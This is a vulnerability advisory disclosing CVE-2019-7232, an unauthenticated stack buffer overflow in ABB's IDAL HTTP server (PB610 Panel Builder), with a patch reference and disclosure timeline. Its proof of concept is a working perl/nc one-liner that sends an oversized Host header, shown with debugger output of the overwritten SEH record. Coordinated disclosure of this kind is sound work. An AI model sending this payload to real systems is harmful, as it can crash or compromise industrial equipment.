XL-19-011 - ABB IDAL HTTP Server Stack-Based Buffer Overflow Vulnerability
========================================================================

Identifiers
-----------
XL-19-011
CVE-2019-7232
ABBVU-IAMF-1902009


CVSS Score
----------
8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)


Affected vendor
---------------
ABB (new.abb.com)


Credit
------
Eldar Marcussen - xen1thLabs - Software Labs


Vulnerability summary
---------------------
The IDAL HTTP server is vulnerable to a stack-based buffer overflow when receiving a large host header in a HTTP request. The host header value overflows a buffer and overwrites the Structured Exception Handler (SEH) address with a larger buffer.


Technical details
-----------------
An unauthenticated attacker can send a Host header value of 2047 bytes or more to overflow the host headers and overwrite the SEH address which can then be leveraged to execute attacker controlled code on the server.

Proof of concept
----------------
```
perl -e 'print "GET / HTTP/1.1\r\nHost: " . "A" x 2047 . "\r\n\r\n";' | nc targetip 81
````

    STATUS_STACK_BUFFER_OVERRUN encountered
    (1734.510): Break instruction exception - code 80000003 (first chance)
    eax=00000000 ebx=1032cc34 ecx=762dd018 edx=05b8e4c9 esi=00000000 edi=05b8eec3
    eip=762dce95 esp=05b8e710 ebp=05b8e78c iopl=0 nv up ei pl zr na pe nc
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
    kernel32!SetThreadExecutionState+0x134b0:
    762dce95 cc int 3
    0:032> !exchain
    05b8e77c: kernel32!RegSaveKeyExW+3b9 (76309332)
    Invalid exception stack at 41414141


Affected systems
----------------
PB610 Panel Builder 600, order code: 1SAP500900R0101, versions 1.91 ... 2.8.0.367


Solution
--------
Apply the patches and instructions from vendor:
  - ABB PB610 - https://search.abb.com/library/Download.aspx?DocumentID=3ADR010377&LanguageCode=en&DocumentPartId=&Action=Launch


Disclosure timeline
-------------------
04/02/2019 - Contacted ABB requesting disclosure coordination
05/02/2019 - Provided vulnerability details
05/06/2019 - Patch available
17/06/2019 - xen1thLabs public disclosure